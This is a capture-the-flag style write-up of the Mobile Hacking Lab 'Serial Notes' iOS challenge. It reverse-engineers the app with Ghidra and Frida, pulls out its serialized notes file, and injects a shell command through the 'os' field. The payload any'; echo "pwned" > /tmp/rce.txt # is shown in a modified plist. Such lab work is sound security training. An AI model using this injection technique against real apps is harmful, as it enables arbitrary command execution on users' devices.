Serial Notes - Mobile Hacking Lab
Introduction
Welcome to the iOS Application Security Lab: Deserialization Vulnerability Challenge. The challenge revolves around a fictitious note-taking app called Serial Notes. Serial Notes is designed to support markdown editing and has its own file format to share the notes. However, it harbors a critical vulnerability related to deserialization, which can be escalated to command injection. Your objective is to exploit this vulnerability to execute arbitrary command within the app.
Objective
Deserialization Understanding: Familiarity with the concept and implications of deserialization vulnerabilities in application security.
Reverse Engineering with Ghidra
The _executeCommand
method is triggered by both the packFile
and openFile
functions.
There’s also a string included in the binary: uname -a | grep -o '
.
The _executeCommand
method is located at offset 0x414c.
Frida script to hook the _executeCommand
method and print its parameter.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var addr = ptr(0x414c);
var t_module = 'SerialNotes';
var nw = Module.getBaseAddress(t_module);
var toAtt = nw.add(addr);
Interceptor.attach(toAtt, {
onEnter: function (args) {
// First parameter (x0 on arm64)
var p0 = args[0];
console.log("[*] onEnter: target = " + toAtt);
if (p0.isNull && p0.isNull()) {
console.log("[*] arg0 is NULL");
return;
}
// Try interpreting as C-string
try {
var s = Memory.readUtf8String(p0);
if (s !== null) {
console.log("[*] arg0 as C-string: " + s);
}
} catch (err) {
// not a valid C-string or unreadable
}
}
});
Pressing the Save button produces the following output:
1
2
[iOS Device::com.mobilehackinglab.SerialNotes2.J8L462KYQ8 ]-> [*] onEnter: _executeCommand target = 0x10281414c
[*] arg0 of _executeCommand as C-string: uname -a
Pressing the Open button produces the following output:
1
2
[iOS Device::com.mobilehackinglab.SerialNotes2.J8L462KYQ8 ]-> [*] onEnter: _executeCommand target = 0x10281414c
[*] arg0 of _executeCommand as C-string: uname -a | grep -o 'Darwin iPhone 22.6.0 Darwin Kernel Version 22.6.0' | head -n1
Download the notes.serial file with objeciton
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─# objection -g com.mobilehackinglab.SerialNotes2.J8L462KYQ8 explore
Using USB device `iOS Device`
Agent injected and responds ok!
_ _ _ _
___| |_|_|___ ___| |_|_|___ ___
| . | . | | -_| _| _| | . | |
|___|___| |___|___|_| |_|___|_|_|
|___|(object)inject(ion) v1.11.0
Runtime Mobile Exploration
by: @leonjza from @sensepost
[tab] for command suggestions
...inglab.SerialNotes2.J8L462KYQ8 on (iPhone: 16.0) [usb] # file download /private/var/mobile/Containers/Data/Application/75945BC4-E7B4-4F42-B102-BCE7FC8CBAF5/Documents/notes.serial
Downloading /private/var/mobile/Containers/Data/Application/75945BC4-E7B4-4F42-B102-BCE7FC8CBAF5/Documents/notes.serial to notes.serial
Streaming file from device...
Writing bytes to destination...
Successfully downloaded /private/var/mobile/Containers/Data/Application/75945BC4-E7B4-4F42-B102-BCE7FC8CBAF5/Documents/notes.serial to notes.serial
Convert the serialized file to an XML file
1
└─# plistutil -i notes.serial -o notes.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>$version</key>
<integer>100000</integer>
<key>$archiver</key>
<string>NSKeyedArchiver</string>
<key>$top</key>
<dict>
<key>root</key>
<dict>
<key>CF$UID</key>
<integer>1</integer>
</dict>
</dict>
<key>$objects</key>
<array>
<string>$null</string>
<dict>
<key>NS.objects</key>
<array>
<dict>
<key>CF$UID</key>
<integer>2</integer>
</dict>
</array>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>8</integer>
</dict>
</dict>
<dict>
<key>last_updated</key>
<dict>
<key>CF$UID</key>
<integer>5</integer>
</dict>
<key>content</key>
<dict>
<key>CF$UID</key>
<integer>4</integer>
</dict>
<key>os</key>
<dict>
<key>CF$UID</key>
<integer>6</integer>
</dict>
<key>name</key>
<dict>
<key>CF$UID</key>
<integer>3</integer>
</dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>7</integer>
</dict>
</dict>
<string>Test</string>
<string>hello</string>
<string>Thu, 25 Sep 2025 13:17:24 GMT</string>
<string>Darwin iPhone 22.6.0 Darwin Kernel Version 22.6.0: Tue Jul 2 20:47:35 PDT 2024; root:xnu-8796.142.1.703.8~1/RELEASE_ARM64_T8015 iPhone10,3 arm Darwin</string>
<dict>
<key>$classname</key>
<string>SerialNotes.Note</string>
<key>$classes</key>
<array>
<string>SerialNotes.Note</string>
<string>NSObject</string>
</array>
</dict>
<dict>
<key>$classname</key>
<string>NSArray</string>
<key>$classes</key>
<array>
<string>NSArray</string>
<string>NSObject</string>
</array>
</dict>
</array>
</dict>
</plist>
The file stores information about the note, including its name, content, last_updated, and os. also, the os field contains the output of the uname -a
command.
We can modify this file to inject a command so the executed command becomes: uname -a | grep -o 'any' ; <INJECTED-COMMAND> ; # | head -n1
The payload used is any' ; <INJECTED-COMMAND> ; #
, where #
comments out the remainder.
The XML file after injecting the echo
command.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>$version</key>
<integer>100000</integer>
<key>$archiver</key>
<string>NSKeyedArchiver</string>
<key>$top</key>
<dict>
<key>root</key>
<dict>
<key>CF$UID</key>
<integer>1</integer>
</dict>
</dict>
<key>$objects</key>
<array>
<string>$null</string>
<dict>
<key>NS.objects</key>
<array>
<dict>
<key>CF$UID</key>
<integer>2</integer>
</dict>
</array>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>8</integer>
</dict>
</dict>
<dict>
<key>last_updated</key>
<dict>
<key>CF$UID</key>
<integer>5</integer>
</dict>
<key>content</key>
<dict>
<key>CF$UID</key>
<integer>4</integer>
</dict>
<key>os</key>
<dict>
<key>CF$UID</key>
<integer>6</integer>
</dict>
<key>name</key>
<dict>
<key>CF$UID</key>
<integer>3</integer>
</dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>7</integer>
</dict>
</dict>
<string>Test</string>
<string>hello</string>
<string>Thu, 25 Sep 2025 13:17:24 GMT</string>
<string>any'; echo \"pwned\" > /tmp/rce.txt # </string>
<dict>
<key>$classname</key>
<string>SerialNotes.Note</string>
<key>$classes</key>
<array>
<string>SerialNotes.Note</string>
<string>NSObject</string>
</array>
</dict>
<dict>
<key>$classname</key>
<string>NSArray</string>
<key>$classes</key>
<array>
<string>NSArray</string>
<string>NSObject</string>
</array>
</dict>
</array>
</dict>
</plist>
Transfer this file to the iPhone and launch the app with Frida. After clicking ‘Open File’, the output shows that our command was successfully passed as a parameter to the _executeCommand
method
uname -a | grep -o 'test' ; echo "pwned" > /tmp/rce.txt #' | head -n1
1
2
3
4
5
6
7
8
Spawning `com.mobilehackinglab.SerialNotes2.W46SY5ZJ6Z`...
[*] module base: 0x100290000 target addr: 0x10029414c
[*] DebugSymbol: executeCommand (0x10029414c)
[*] Exact symbol: executeCommand @ 0x10029414c
[*] Attached to 0x10029414c
Spawned `com.mobilehackinglab.SerialNotes2.W46SY5ZJ6Z`. Resuming main thread!
[iOS Device::com.mobilehackinglab.SerialNotes2.W46SY5ZJ6Z ]-> [*] onEnter: target = 0x10029414c
[*] arg0 as C-string: uname -a | grep -o 'test' ; echo "pwned" > /tmp/rce.txt #' | head -n1